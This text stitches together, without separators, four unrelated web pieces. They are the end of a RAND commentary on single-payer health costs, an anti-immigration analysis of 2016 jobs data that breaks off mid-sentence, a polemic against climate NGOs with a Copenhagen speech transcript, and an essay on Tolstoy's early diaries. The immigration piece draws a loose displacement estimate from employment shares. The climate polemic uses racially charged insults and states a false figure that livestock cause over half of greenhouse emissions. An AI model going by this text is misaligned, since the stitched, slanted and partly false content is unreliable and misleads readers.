In addition, some administrative costs such as for tax collection and fraud detection could increase with an insurance program that covers the entire U.S. population. Health care provider administrative costs may decrease to some extent, as billing procedures could be simplified and streamlined with a single payer.
Any provider administrative savings may mean that providers would receive lower total reimbursement (payment for health care services along with associated administrative expenses), in which case providers may need to restructure their administrative and billing functions in order to maintain their bottom lines.
Reductions to provider reimbursement are possible but depend on negotiated levels and payment models. Prices could be set by the government as the single payer, but would likely involve negotiations with provider and industry groups. Given the American Medical Association's historical opposition to single-payer efforts and the influence of the health insurance and pharmaceutical lobbying groups, it remains to be seen if the government could successfully negotiate lower rates.
What happens if the administrative savings and reimbursement reductions are not enough to offset the increased use of health care services?
What happens if the administrative savings and reimbursement reductions are not enough to offset the increased use of health care services? The government could establish a cap on overall spending, but enforcement could be an issue if costs are overrun. The benefits covered by the plan could be reduced, or cost sharing could be increased.
Or taxes could be increased to fund the program. But large tax increases could be a deal breaker: Vermont's single-payer effort failed in 2014 with the governor's office citing high expected tax increases for individuals and businesses, and the recent legislation in California stalled largely due to the lack of a financing plan.
To curb the potential of dramatic tax increases, a single-payer plan should include explicit approaches to address increased spending due to greater use of health care by more people.
In short, it's a mistake to assume that a single-payer health care system will automatically come with cost savings. It might be easy to support the concept of single-payer, but serious consideration should be given to addressing how to pay for the plan and control costs.
Jodi Liu is an associate policy researcher at the nonprofit, nonpartisan RAND Corporation.
This commentary originally appeared on The Hill on September 26, 2017. Commentary gives RAND researchers a platform to convey insights based on their professional expertise and often on their peer-reviewed research and analysis.The government, in its last pre-election snapshot of the economy, reported that employers added 161,000 workers in October. The official unemployment rate dropped to 4.9 percent, from 5 percent. And average hourly earnings rose 2.8 percent year over year, a level not reached since 2008.
The MSM saw as presaging a healthy outlook for the months ahead. “It was pretty positive across the board,” said David Berson, chief economist at Nationwide Insurance.[ Last Economic Snapshot Before The Election Shows Healthy Job Growth, By Patricia Cohen, NYT, November 4, 2016,
Apparently Mr. Berson does not scrutinize the part of Household Employment Survey where data are reported by race and nativity. There he would have seen that seasonally-adjusted unemployment among Black men 20 years and older rose in October (to 8.6% from 8.3% the prior month) while Hispanic men in that age bracket enjoyed a decline (to 5.0% from 5.4% in September). Seasonally adjusted unemployment among white men held steady at 4.1% in September and October.
This pattern is consistent with the displacement of black workers by low wage, primarily Hispanic, immigrants.[After Immigration Raid, Locals Line Up For Jobs, NPR, August 28, 2008]
Even the macro picture of continued job growth is belied by the latest Household Survey results.
In October:
Total Household Survey employment fell by 43,000, down by 0.03%
Native-born American employment rose by 206,000 up by 0.16%
Foreign-born immigrant employment fell by 249,000, down by 0.96%
But October was unusual in that native-born American workers gained jobs and immigrants lost them. Overall, native-born American workers have lost ground to their foreign-born competitors throughout the Obama years and this trend has accelerated significantly in 2016. Last month was one of the occasional anomalies. This is brought out in our New VDARE.com American Worker Displacement Index (NVDAWDI) graphic:
Can't render, error
Native-born American employment growth is represented by the black line, immigrant employment growth is in pink, and NVAWDI—the ratio of immigrant to native-born job growth—is in yellow. The index starts at 100.0 in January 2009 for both immigrants and native-born Americans, and tracks their employment growth since then.
From January 2009 through October 2016:
Immigrant employment rose by 4.248 million, or by 19.6%. The immigrant employment index rose from 100.0 to 119.6.
Native-born American employment rose by 5.456 million, up by 4.6%. The native-born American employment index rose from 100.0 to 104.5.
NVDAWDI (the ratio of the immigrant to native-born employment growth indexes) rose from 100.0 to 114.4. (100X (119.6/104.5))
During the Obama years, immigrant employment has risen 4.3 times faster than native-born employment—19.6% versus 4.6%. In many unskilled occupations, the gap is larger, owing to a disproportionate share of foreign-born workers.
The foreign-born share of total U.S. employment has risen steadily, albeit erratically, during the Obama years:
Can't render, error
In Barak Obama’s first full month in office (February 2009) 14.97% of all persons working in the U.S. were foreign-born. The foreign-born share in October was 17.05%, the fifth highest among the 94 months of Mr. Obama’s administration. The Obama era high, 17.216%, was set in September 2016.
Seven of the 10 worst months for native-born workers in the Obama years (measured by the share of jobs held by immigrants) have occurred in 2016.
The foreign-born share of total employment in September was 2.23 percentage points above the level recorded in February 2009. With total employment now at 152.0 million, this implies that Obama-era immigration may have pushed as many as 3.39 million native-born Americans onto the unemployment rolls since then.
A detailed snapshot of American worker displacement over the past year is seen in the Employment Status of the Civilian Population by nativity table published in the monthly BLS Report. [PDF]
Employment Status by Nativity, Oct. 2015-Oct. 2016 (numbers in 1000s; not seasonally adjusted) Oct-15 Oct-16 Change % Change Foreign born, 16 years and older Civilian population 40,074 41,785 1,711 4.3% Civilian labor force 26,267 27,060 793 3.0% Participation rate (%) 65.5 64.8 -0.7%pts. -1.1% Employed 25,120 25,965 845 3.4% Employment/population % 62.7 62.1 -0.6%pts. -1.0% Unemployed 1,147 1,096 -51 -4.4% Unemployment rate (%) 4.4 4.0 -.0.4%pts. -9.1% Not in labor force 13,807 14,725 918 6.6% Native born, 16 years and older Civilian population 211,468 212,536 1,068 0.5% Civilian labor force 131,047 132,722 1,675 1.3% Participation rate (%) 62.0 62.4 0.4%pts. 0.6% Employed 124,597 126,370 1,773 1.4% Employment/population % 58.9 59.5 0.6%pts. 1.0% Unemployed 6,450 6,352 -98 -1.5% Unemployment rate (%) 4.9 4.8 -0.1%pts. -2.0% Not in labor force 80,421 79,814 -607 -0.8% Data source: BLS, The Employment Situation – October 2016, Table A-7, November 4, 2016.
Over the last 12 months (October 2015 to October 2016):
Immigrant employment rose by 845,000, up 3.4%, while native-born American employment rose 1.773 million, up by 1.4%. Immigrant employment grew 2.4 times faster than native-born American employment.
The foreign-born labor force (immigrants working or looking for work) rose by 3.0%, while the comparable native-born labor force rose by 1.3%. Advantage Immigrants.
The number of unemployed immigrants fell by 4%, while the number of native-born American unemployed fell by only 1.5%. Advantage Immigrants.
Unemployment rates dropped for both immigrants and native-born, but the percentage decline for immigrants, 9.1%, was nearly 5-times the decline for native-born Americans, 2.0%.
Remember: this is only the tip of the immigration iceberg. The true measure of post-1965 immigration impact on the labor market would include their U.S.-born children. My estimate : factoring in U.S.-born children virtually doubles (+ 80%) immigration’s depression of American wages.
Once again the data seem to suggest an immigration surge is underway. BLS estimates that the foreign-born population of working age (16 years and over) grew by 4.3% over the past 12 months, or roughly 9 times the 0.5% growth of the comparable |
5651]
Also Ignored by the Non-Profit Industrial Complex at COP15
UNFCCC was already, a binding agreement. So was the Kyoto Protocol.
The world was already far beyond dangerous interference with the climate system, according to both James Hansen and John Holdren.
Although tipping points were almost always spoken of in the future tense, methane hydrates had already begun venting, shocking the scientific community.
Bolivia’s position paper cited that global temperatures must not exceed 1ºC and the world must return to 300 ppm. Ignoring Bolivia’s leadership, the “movement” called for a full degree higher (2ºC) and 350 ppm. 350 ppm is in fact considered the very upper limit / maximum limit for mere stabilization by James Hansen.
The fact that climate scientist Kevin Anderson warned the world that by 2050 a mere half billion people would perhaps survive (based on a 4ºC global temperature rise, which is our current minimum trajectory, and a population of 9 billion).
That only by achieving zero carbon (as recognized by IPCC) can the Earth even begin to cool.
That the Ramanathan & Feng (2008) paper suggests we are committed today to a minimum 2.4ºC rise even if we were to achieve zero emissions tomorrow.
That feedbacks, once they are fully operational, are irreversible.
That militarism (whose emissions are exempted) is one of the primary contributors to climate change. “My view is that the climate has already crossed at least one tipping point, about 1975-1976, and is now at a runaway state, implying that only emergency measures have a chance of making a difference.… The costs of all of the above would require diversion of the trillions of dollars from global military expenditures to environmental mitigation.” — Andrew Glikson, Earth/Paleoclimate Scientist
That industrialized livestock contributes over 50% of all GHG emissions.
That the industrialist capitalist system is the very root cause of climate change. The climate crisis can neither be solved nor averted within this economic system.
After COP15 – The People’s Agreement
Why is it that the video of Venezuela’s fiery Claudia Salerno, who refused to stay silent on the bribery and blackmailing taking place within the COP17 corridors, was not publicized by the movement? Why is it that Bolivia’s Forest Proposal received/receives no support from “the movement”? (Instead they chase the REDD scheme, which is being opposed by indigenous groups across the planet.) Why is it, even though “the movement” claims it wants real action on climate change, they absolutely refuse to endorse the People’s Agreement? [5] Further, the same question must be put to civil society: Why is it, although civil society claims to want real action on climate change, they are only interested in symbolic organizations and meaningless token gestures? Why do we have 17 million citizens following TckTckTck and only 438 following the People’s Agreement? Surely civil society must acknowledge that these are the choices we make and that we make alone. No one has a gun to our heads (yet). Is it simply because the world’s most powerful NGOs are composed of largely white “leaders”? We claim disgust at symbolic, empty gestures, yet, when given the choice of what we wish to support – the People’s Agreement or the meaningless “fair, ambitious, binding agreement” – we fall over one another lusting after the shiny green patina that emulates the American empire, an empire of death, racism, genocide and colonialism. And like the empire, with the other rich nations, the international NGO community believes that they are the chosen ones, in control of the world. The champagne circuit is alive, well, wealthy – and predominantly white.
Further Irony
In 1990, an international environmental NGO believed that policy must reflect the understanding that the world must not exceed a 1ºC temperature rise. Approximately two decades later, with a full climate crisis now engulfing the planet, this same NGO “fought” in Copenhagen for a binding agreement that would allow the Earth to further warm to a full 2ºC. Who was this NGO? None other than TckTckTck partner, Greenpeace, at whose helm sits Kumi Naidoo. And who is the chair of TckTckTck? Kumi Naidoo. The token “black” of the non-profit industrial complex, donned with a white mask – the non-profit version of Obama.
Today
Consider the vulgarity of this following fact. One percent of Earth’s citizens are creating 50% of the global GHG emissions. This means that 99% of the non-profit industrial complex and those they protect, in others words, most all those attending the United Nations Conferences on behalf of the wealthy states, are the very ones demanding they be allowed to continue unprecedented gluttony. In the opposite corner, we have Bolivia, many of the African states, and ALBA states – a collective of the poorest people on the planet (in a monetary sense), whose emissions are almost irrelevant – pleading with us to live within reason, simply so they can live at all. Some would describe this as a call for simple decency. While to deny a populace the right to simply live may appear to be normal conduct for state “leaders,” the fact that professional “activists” uphold the same doctrine demonstrates unequivocally that everything can be justified and anyone is disposable when it comes to protecting white privilege.
Three years later at COP18 in Doha, Bolivia once more leads on the world stage. Alone. Again. One would be hard pressed to find even one organization endorsing or promoting Bolivia’s alternate proposal to REDD or any other futurist ideologies that Bolivia has put forward to share with the world – this from one of the most poverty-ridden states in the world. Although poor monetarily, Bolivia’s unsurpassed wealth of knowledge, compassion and visionary philosophies makes it clear that in reality it is the EuroAmerican mindset that is pitiful, starved and depraved.
2ºC = 4ºC = Omnicide
“Truth is treason in an empire of lies.” — George Orwell
Today, states and complying scientists are quietly recommending a 2ºC to 2.5ºC target; although most subtle, this target is now to be perceived and thus portrayed as transient warming. Meaning it is not being thought of/identified any longer as equilibrium warming, as the specific 1996 EU target was meant to be (the EU target was where the 2ºC guardrail came from: policy, not science). This means that “experts” (influential institutions and scientific bodies who obediently tow the line) are now in effect recommending that we heat the planet to 4ºC. While Professor Kevin Anderson explains that to avoid catastrophic climate change impacts, 1ºC is the new 2ºC and while climate scientist James Hansen states unequivocally that 1ºC is the true danger limit, we are now being prepared to submissively accept 4ºC. The fact is that to avoid 2ºC equilibrium we must limit warming to no more than 1ºC this century. [6] We either drastically conserve and sacrifice today or bury our children tomorrow. And of course, we cannot hold the temperature at 1ºC under the current economic system – the industrialized capitalist system, the very root cause of our climate crisis. The crisis is profound and unprecedented. Collectively, we steadfastly refuse to acknowledge the severity of our multiple crises, our most daunting of challenges and the harshest of realities – all staring at us directly in the face. We look back only to see ourselves.
Why it Matters
“NGOs of the world unite, you have nothing to lose but your funding.” — Ashwin Desai
The so-called environmental movement refuses to acknowledge, let alone discuss, the fact that it’s been bought, sold and muzzled, and now lies in ruins in a pile of ashes. Civil society remains largely unaware of this truth, let alone the key factors behind it. And this in itself is tragic, because this issue is one of the key factors as to why we, as a global society, have failed to mitigate our environmental crisis, and why we continue to advance further to the very precipice. Trained from birth to not challenge authority, to not offend, to be obedient, to be polite – we remain silent. Yes, impeccable manners, avoid conflict, and above all, do not question those who “know best.” Our deeply internalized passivism is as great a threat as the forthcoming climate apocalypse itself.
Ignorance really is bliss and I do want change as long as that means nothing really changes. Please pass the soma.
Implications
The implications are many. It is clear that those who claim non-profit status, on the basis that they represent civil society, clearly do not. This then presents the question as to who elected these NGOs who falsely claim to represent civil society, all while serving corporate interests? The logical question that then follows, the question that must be asked, is what constitutes criminal negligence? If countries like Bolivia and G77 are prepared to take the radical, necessary positions to avert annihilation, what does it say about our environmental movement when it resolutely undermines them? If we dismiss this factual information, what does this disclose about us? Do we deserve anything more than the representation we are receiving if we deny the facts? Finally, how can governments expect to take the necessary positions if, when they do, they do not receive the support of civil society?
Lastly, what the hell do we expect when our entire movement is funded by the very same interests that are intent on destroying us? We need to stop defending and finding excuses for those selling us out and start defending our children from a future being shaped and moulded by the global oligarchy. We can’t have it both ways.
“So, I want just to say join hands with those of us who really want a real change, because I’m confident it will come. And it will come, let me say this, whether you do or don’t. But let it not be the case that western civil society sided with the powers that be in the West. Thank you. [Thundering Applause]” — Lumumba Di-Aping
In the volumes of information that will be left on our finite planet when all traces of life have, for the most part, disappeared, the film footage of Ambassador Lumumba Stanislaus-Kaw Di-Aping of the G77 will serve as a testament to who was responsible for criminal negligence, crimes against humanity, and finally, lastly, a global genocide destroying most all life: the non-profit industrial complex.
[Cory Morningstar is an independent investigative journalist, writer and environmental activist, focusing on global ecological collapse and political analysis of the non-profit industrial complex. She resides in Canada. Her recent writings can be found on Wrong Kind of Green, The Art of Annihilation, Political Context, Counterpunch, Canadians for Action on Climate Change and Countercurrents.]
Notes:
Briefing to Civil Society NGOs by Ambassador Lumumba Stanislaus Di-Aping. December 11th, 2009.
Full transcript:
Thank you for, I suppose, inviting me to address you this afternoon. As you know, the last few days since the beginning of this conference we have witnessed many events. I’m going to go very quickly through what I do consider to be the most critical aspects for a successful outcome in this conference. And this is of particular importance to us. We do believe that civil society and the parliament have a very critical role for our success. Without you the executive branches can get away with anything.
Now, what do we really believe are the critical success factors that we have to unite behind, because these are not simply negotiable for us as developing countries.
The first fundamental that we have to agree on at 5(4) is the issue of the 1.5 degree Celsius and the 350 ppm. And the centrality of this is because a deal that cannot save God, humanity and nature is not a deal that we should entertain in the first place. Those who articulated a perspective and tried to persuade us that the 2 degrees Celsius is a sound choice have made a trade off between life, humanity, and profit-seeking pursuits. It has no base in science. The very reports that they try to persuade us that they are based on, do not support their case. The IPCC AR4 [4th Assessment Report] says that two degrees Celsius will result in Africa warming up to 3.5[C] and the small islands states equally being threatened by the sea level rise. I will say this and I will say it with absolute conviction. Two degrees Celsius is certain death for Africa, is certain devastation of island states.
The policy decision maker, the scientists who try to do that, is definitely not only ill-advising others, he is ill-advising himself. So that’s one fundamental, if not the starting proposition for beginning sound negotiations and discussions.
The second issue is the issue of reductions of emissions. There must be radical reductions of emissions starting from now. In our view, by 2017 we should cut, developed countries must cut by 52%, 65% by 2020, 80% by 2030, well above 100 [percent] by 2050. And this is very important because the more you defer action the more you condemn millions of people to immeasurable suffering.
So the idea that you start from 4% today and you achieve 80 or 50 in 2050 simply means that you do not care about the lives of those who will be devastated in this period, until you pick up the pace. And this is one of the reasons we have asked the American administration, the American people, President Obama to join the effort and to join Kyoto Protocol.
We must defend Kyoto Protocol. And those who think that not defending Kyoto Protocol is the way forward are totally misguided because if you eliminate the balance of obligations between developed and developing countries — and I will say this to our colleagues from Western civil society — you have definitely sided with a small group of industrialists and their representatives and your representative branches. Nothing more than that. You have become an instrument of your governments. Whatever you say, whether you think it’s because it’s tactically shrewd or not, it’s an error that you should not continue to make.
Having said that, we do believe equally that a very significant, substantial financial package, both for short term and long term, is necessary. How do we define that? Simple. We must avail, or developed countries must avail in the next 5 years, fast track financing. That fast track financing is the equivalent of 1% of the GNP of developed countries. It’s around 400 to 500 billion dollars depending on where … what happens to their economies. Of this, 150 billion dollars can be issued with immediate effect because, as we speak today, the IMF is sitting over 283 billion dollars’ worth of SDR’s [Special Drawing Rights or supplementary foreign exchange reserve assets defined and maintained by the International Monetary Fund] that are not allocated. Simply sitting doing absolutely nothing, when we face a threat.
Many of you would say 400 billion dollars is a lot of money. Well, think about how much is being poured into your defence budgets and which wars are you fighting. Is there another war greater than this war on climate change? I don’t think so. But let me equally give you the fallacy related to how big this amount is. The European [Union] today were proud to announce that there would be 2.3 billion or 2.5 billion dollars available from now until 2012. Well, the sad news is 300 billion dollars was the amount of money that bankers in London city pocketed this year.
So ask yourself, are your executive branches climate skeptics, notwithstanding their addresses like the prime minister of the UK that the cost of inaction on climate change is irreparable. His actions say he’s worse than the worst of climate sceptics. If he had asked bankers to pocket 300 billion dollars because of “incentivizing” profit-seeking activities and he says 500 million is the maximum that the United Kingdom government can afford to pay to support climate change, what are we saying? What are you saying? I wonder what the distinguished colleagues from CAN are saying about that.
Moreover, would you believe that, what is important here, in this particular conference, is decision making. There is a lot of fallacy being spread that we need a new legal instrument. Well, a decision is a legal instrument. A court decision is binding. An executive decision is binding.
A legal instrument means that you as civil society are choosing that there shall be no actions for another 15 to 20 years. Think about the journey from the Stockholm Conference to the UNFCCC [United Nations Framework Convention on Climate Change]. How many years did it take the environmentalists to convince many decision makers that right action on environment is actually the pursuit of greener, low-carbon, carbon emissions?
Many of you equally, and I will say this, and I would have never thought that one day I will accuse a civil society of such a thing. Dividing the G77, or helping divide the G77, is simply something that should be left to the CIAs, the KGBs and the rest [not the NGOs]. [Applause]
It’s mind boggling, and I say this having been the beneficiary of absolute support from civil society. Many of you may not know this, I come from southern Sudan. We’ve been through wars for almost 90% of our lives since independence, so I’m not sure what happened exactly to the civil society that I do know or at least knew.
Now, I want to go back to other issues because it’s critical that we be very clear to each other. United States and United States people and United States civil society have a very important role to play. One reason is because United States is P1 [pledge 1? page 1?]. Another reason is because United States is the greatest emitter, historically and by per capita. And it is important because it wields huge power, both of influence and of signalling direction.
And that basically [is] what led us to conclude and call upon President Obama to join the Kyoto Protocol. We understand the difficulties he is in. The deep sense of conservative isolationism. It’s an American phenomenon that you all know. United States was reluctant to do anything during the catastrophe of the Second World War, until Churchill managed to persuade them to join in. But when they joined, peace prevailed and came into existence in Europe. They have this notion of exceptionalism. And that I think, this day, is to think of ourselves as one human family.
I thought that [is] what the United States signalled when they voted President Obama into office. So notwithstanding the difficulties in the United States, I think any simple analysis makes one conclude that the problem is not with the Congress, the problem is with the conservative laggard of an industrial complex. So we have to, you have to, play an important role to persuade your Congress and to move forward. Join hands with those children who wrote a letter to President Obama to join, to preserve Kyoto Protocol.
And I want to say something else. We should stop, equally, pushing this notion that the world must continue along the conflict and misguided sense of competition between the Occidentals and the Orientals … that China is the obstacle [right here?]. Three things we say about China and you all know about it. There are more poor people in China than in the entire of Africa. The only way to help China reduce rapidly its emissions is to help it through transfer of technology. Rapid transfer of technology in order to reduce emissions. Because the third neck of this argument: the poor Chinese have arrived, which we must support and that is [the why?] to development.
The conservative thinking that it’s all about nationalists trying to take advantage or starting a competitive advantage is not going to happen. So what I ask of Obama is to join as a president, as the leader of the industrialized nations, is to join Kyoto Protocol, is to refuse a deal based on 2% [degrees] that would condemn Africa and small islands to death, and to help finance the global deal on climate change.
Remember what the United States did, after the war, to Europe. The United States then was … had the size of 66% of the global economy. They launched a Marshall Plan. The Marshall Plan was 3.2% of the U.S. economy. And that in addition to the fact, when you factor in the fact that Europe had the capacity and the know-how, you can see that the total package necessary as a starting point for addressing climate change, from public finance, is not less than 5%. And it’s commonsensical. Think about it in this way, without going into economics. If you have a house that has decayed or if you have a school in your neighbourhood that has been built or infected by asbestos, how much would it cost to repair? It’s not less than 30% of the price of that.
So, I do believe that if the United States did that before, President Obama should follow in that tradition and say to the rest of the world, “We are able. We have more than sufficient financing and capital to help, not only the poor, but to help ourselves because ultimately after we are destroyed, there will be many Katrinas [hurricanes] in the United States.”
If you have received help that enabled you to rebuild your economies and to become prosperous, how come suddenly you have turned mean? Because that 2.5 billion dollars is definitely what some of the big western industrialists lose without a sleep over a trade [lose over a trade without losing any sleep].
And I do want you to ask President Obama a simple question. Because as much as he’s an American citizen, he is an extended citizen, if there is such a notion, of Africa. Then doesn’t that lay on him any moral obligation to do what he can? Shouldn’t he commit to the principles of which many of us find ourselves fascinated and grateful that there is somebody like him today being the president of United States. Because if it’s because his advisors are part and parcel of the Bush administration, or the [regularized?] Democrats, then he should do something about that. He is the president after all. If it’s because he is thinking that this will save his political life for a next term, then inaction will actually lead to the opposite. A leader acts, a leader helps formulate the right policies, the right direction. That’s why one is a leader. A leader takes the toughest stance. If health care is so important and he is fighting that battle, climate change is as 100 times more important and it is your job as American civil society to help build that momentum. Yes, your task is a tough one because you’re moving from a very low base, but that’s part of life.
We will not give up because the West have power, absolute power, and accept whatever choices they will make. We will continue to defend the interests of our people and the whole world. This equally applies with Australians, New Zealand and Japan and many other developed countries’ leaders. Many of them have been elected for office because they claim they support climate change, but then you have to give it to the lobbyists — they are definitely smooth operators. They twist their minds in such a short time that somebody like Kevin Rudd suddenly moves from where he was, somebody who in Bali was the only prime minister who came to Bali to say “Climate change matters.” And then his delegation here is the complete opposite of that.
So, I want just to say join hands with those of us who really want a real change, because I’m confident it will come. And it will come, let me say this, whether you do or don’t. But let it not be the case that western civil society sided with the powers that be in the West. Thank you. [Applause]
ENDNOTES
[1] SIGNIFICANT OMISSIONS IN TCKTCKTCK: As demands for the TckTckTck (http://tcktcktck.org) campaign for COP15, the organizers, allies and partners were calling for developed states to reduce developed country emissions by at least 40% by 2020. While most developed and developing states were calling for developed states to use 1990 as a baseline, the TckTckTck campaign did not have a baseline. Consequently what they were calling for was way below what developing states were demanding. How could an NGO campaign have a percentage reduction without a baseline date? In the TckTckTck campaign demands, it was stated: “Reduce developed country emissions by at least 40% by 2020.” Is that from 2009 levels? Or Canadian 2006 levels, or US 2005 levels? It is far from what most of the developing states wanted, at least 45% from 1990 levels. Apart from calling for stabilization by 2015, the TckTckTck campaign had no commitment for subsequent years, such as calling for the reduction of global emissions by at least 95% from 1990 levels by 2050. The TckTckTck campaign was silent on a 2050 commitment. The key issues at COP15 were i) the need for a common baseline such as 1990, and the need for developed states to commit to a high percentage reduction of greenhouse gases from the 1990 baseline, and ii) the urgent demand to not have the temperature rise exceed 1 degree above pre-industrialized levels and to return to no more than 300 ppm. The TckTckTck campaign seriously undermined the necessary, bold targets that were advanced by many of the developing states.
[2] “Low lying islands and coastlines can take no further sea level rise. The “targets” of 1.5 degrees C rise and 350 ppm CO2 are a death sentence for coral reefs and a suicide pact for low lying islands and coasts. Summary: The long-term sea level that corresponds to current CO2 concentration is about 23 meters above today’s levels, and the temperatures will be 6 degrees C or more higher. These estimates are based on real long term climate records, not on models. We have not yet felt the climate change impacts of the current excess of greenhouse gases produced by fossil fuels, and the data shows they will in the long run be many times higher than IPCC models project. In order to prevent these long term changes CO2 must be stabilized at levels below preindustrial values, around 260 parts per million. Buildup must be reversed, not allowed to increase or even be stabilized at 350 ppm, which would amount to a death sentence for coral reefs, small island developing states, and billions of people living along low lying coastlines. The good news is that all the tools for reversing global warming and reducing CO2 to safe levels are ready, proven, and cost effective, but are not being seriously used due to lack of policies and funding.” [AOSIS Briefing 2009: “350 PPM IS A DEATH SENTENCE FOR CORAL REEFS AND LOW LYING ISLANDS … THE SAFE LEVEL OF CO2 FOR SIDS IS AROUND 260 PARTS PER MILLION.”] — The author is Dr. Tom Goreau, President of the Global Coral Reef Alliance, an international NGO for restoration of coral reefs, and a member of the Jamaican delegation to UNCCC. Previously he was Senior Scientific Affairs Officer at the United Nations Centre for Science and Technology for Development, in charge of Global Climate Change and Biodiversity Issues, where he contributed to the original draft of the UN Framework Convention on Climate Change. Dr. Goreau developed the HotSpot method used for the last 20 years to predict coral bleaching from satellite data. He was educated in Jamaican schools, MIT (BSc in Planetary Physics), Caltech (MSc in Planetary Astronomy), and Harvard (PhD in Biogeochemistry). He has swum and dived on reefs around the world since he was a small child, including most SIDS. His father was the first marine scientist in the world to use diving as a research tool and founded the Marine Science Program at the University of the West Indies.
[3] The founding of the Climate Action Network (CAN) in 1988 can be traced back to the early players in the environmental nongovernmental organization (ENGO) community, including Michael Oppenheimer of the corporate NGO, Environmental Defense Fund. CAN is a global network of over 700 NGOs. The stated goal of CAN is to promote government and individual action to limit human-induced climate change to ecologically sustainable levels. This goal is severely problematic in (at minimum) two fundamental ways: 1) There is no such thing as “ecologically sustainable levels” of climate change, and 2) as opposed to states having to respond to approximately 700 groups demanding action on climate change, states instead bask in the comfort of having to deal with only one (CAN International), which essentially demands little to nothing. CAN has seven regional offices that coordinate these efforts in Africa, Central and Eastern Europe, Europe, Latin America, North America, South Asia, and Southeast Asia. Members include organizations from around the globe, including the largest corporate greens such as World Wildlife Fund [WWF], Greenpeace and Friends of the Earth.
[4] “Another glaring contradiction which does not bother America’s conscience (if it has any) is that American trained and paid Rwandan and Ugandan soldiers have been deployed as “peacekeepers” in Darfur and Somalia while at the same time they are making the blood of millions of Congolese flow into the ground, while billions of dollars in minerals are extracted from the earth and delivered to their corporate customers – with Rwandan and Ugandan middlemen pocketing their cut. America is also trying to sweep under the carpet the genocide that Rwanda and Uganda have committed in Congo since 1996. As we know, Rwanda and Uganda invaded the Democratic Republic of Congo in 1996, ostensibly to hunt down Hutu fighters among millions of refugees from ethnic violence in Rwanda. But the invasion became an occupation that has killed six million Congolese – the world’s greatest holocaust since World War Two. The genocide has been very profitable for Uganda and Rwanda, who have plundered eastern Congo’s mineral resources for sale to multinational corporations, most of them based in the United States and Europe.” [Source: Britain and America Target DR Congo, 12/05/2012]
[5] The exemplary People’s Agreement emerged from the April 2010 World People’s Conference on Climate Change and the Rights of Mother Earth in Cochabamba, Bolivia. It was endorsed by over 35,000 representatives of civil society, indigenous peoples and various states. During that year, the Bolivian Ambassador to the UN, Pablo Solón, participated in numerous UN processes under the UNFCCC, and valiantly struggled to include the conclusions of the Cochabamba People’s Agreement in the negotiating documents.
The main conclusions of the World People’s Conference were incorporated into the document of United Nations on Climate Change that became recognized as a negotiation text for the 192 countries that congregated in Bonn, Germany, during the first week of August 2010. The most important points that were incorporated for consideration in the negotiations before Cancun were:
1) 50% reduction of greenhouse gas emissions by developed countries for a second period of commitments in the Kyoto Protocol years 2013 to 2017
2) Stabilize the rise of temperature to 1ºC and 300 ppm of carbon dioxide in the atmosphere
3) Guarantee an equitable distribution of atmospheric space, taking into account the climate debt of emissions by developed countries for developing countries
4) Full respect for the human rights and the inherent rights of indigenous peoples, women, children and migrants
5) Full recognition to the United Nations Declaration on the Rights of Indigenous Peoples
6) Recognition and defense of the rights of Mother Earth to ensure harmony with nature
7) Guarantee the fulfillment of the commitments from the developed countries though the building of an International Court of Climate Justice
8) Rejection of the new mechanisms of carbon markets that transfer the responsibility of the reduction in emissions of greenhouse gases from developed countries to developing countries
9) Promotion of measures that change the consumption patterns of the developed countries
10) Adoption of necessary measures in all relevant forums to exclude from the protection of intellectual property rights all technologies that are ecologically sustainable useful to mitigate climate change
11) Developed countries will allocate 6% of their gross national product to actions relative to climate change
12) Integrated management of forest for mitigation and adaptation, without market mechanisms and ensuring the full participation of indigenous peoples and local communities
13) Prohibition of the conversion of natural forest to plantations, since monoculture plantations are not forest; instead encourage the protection and conservation of natural forests. [Source: Joan Russow, PEJ News]Tolstoy’s first diary, started on March 17, 1847, at the age of eighteen, began as a clinical investigation launched under laboratory conditions: in the isolation of a hospital ward, where he was being treated for a venereal disease. A student at Kazan University, he was about to drop out due to lack of academic progress. In the clinic, freed from external influences, the young man planned to “enter into himself” for intense self-exploration (vzoiti sam v sebia ; 46:3). On the first page, he wrote (then crossed out) that he was in complete agreement with Rousseau on the advantages of solitude. This act of introspection had a moral goal: to exert control over his runaway life. Following a well-established practice, the young Tolstoy approached the diary as an instrument of self-perfection.
But this was not all. For the young Tolstoy, keeping a diary (as I hope to show) was also an experimental project aimed at exploring the nature of self: the links connecting a sense of self, a moral ideal, and the temporal order of narrative.
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From the very beginning there were problems. For one, the diarist obviously found it difficult to sustain the flow of narrative. To fill the pages of his first diary, beginning on day two, Tolstoy gives an account of his reading, assigned by a professor of history: Catherine the Great’s famous Instruction (Nakaz), as compared with Montesquieu’s L’Esprit de lois. This manifesto aimed at regulating the future social order, and its philosophical principles, rooted in the French Enlightenment (happy is a man in whom will rules over passions, and happy is a state in which laws serve as an instrument of such control), appealed to the young Tolstoy. But with the account of Catherine’s utopia (on March 26), Tolstoy’s first diary came to an end.
When he started again (and again), Tolstoy commented on the diary itself, its purpose and uses. In his diary, he will evaluate the course of self- improvement (46:29). He will also reflect on the purpose of human life (46:30). The diary will contain rules pertaining to his behavior in specific times and places; he will then analyze his failures to follow these rules (46:34). The diary’s other purpose is to describe himself and the world (46:35). But how? He looked in the mirror. He looked at the moon and the starry sky. “ But how can one write this?” he asked. “One has to go, sit at an ink-stained desk, take coarse paper, ink... and trace letters on paper. Letters will make words, words—phrases, but is it possible to convey one’s feeling?” (46:65). The young diarist was in despair.
Apart from the diaries, the young Tolstoy kept separate notebooks for rules: “ Rules for Developing Will ” (1847), “Rules of Life” (1847), “Rules” (1847 and 1853), and “Rules in General” (1850) (46:262–76). “Rules for playing music” (46:36) and “Rules for playing cards in Moscow until January 1” (46: 39). There are also rules for determining “(a) what is God, (b) what is man, and (c) what are the relations between God and man” (46:263). It would seem that in these early journals, Tolstoy was actually working not on a history but on a utopia of himself: his own personal Instruction.
Yet another notebook from the early 1850s, “Journal for Weaknesses” (Zhurnal dlia slabostei)—or, as he called it, the “Franklin journal”—listed, in columns, potential weaknesses, such as laziness, mendacity, indecision, sensuality, and vanity, and Tolstoy marked (with small crosses) the qualities that he exhibited on a particular day. Here, Tolstoy was consciously following the method that Benjamin Franklin had laid out in his famous autobiography. There was also an account book devoted to financial expenditures. On the whole, on the basis of these documents, it appears that the condition of Tolstoy’s moral and monetary economy was deplorable. But another expenditure presented still graver problems: that of time.
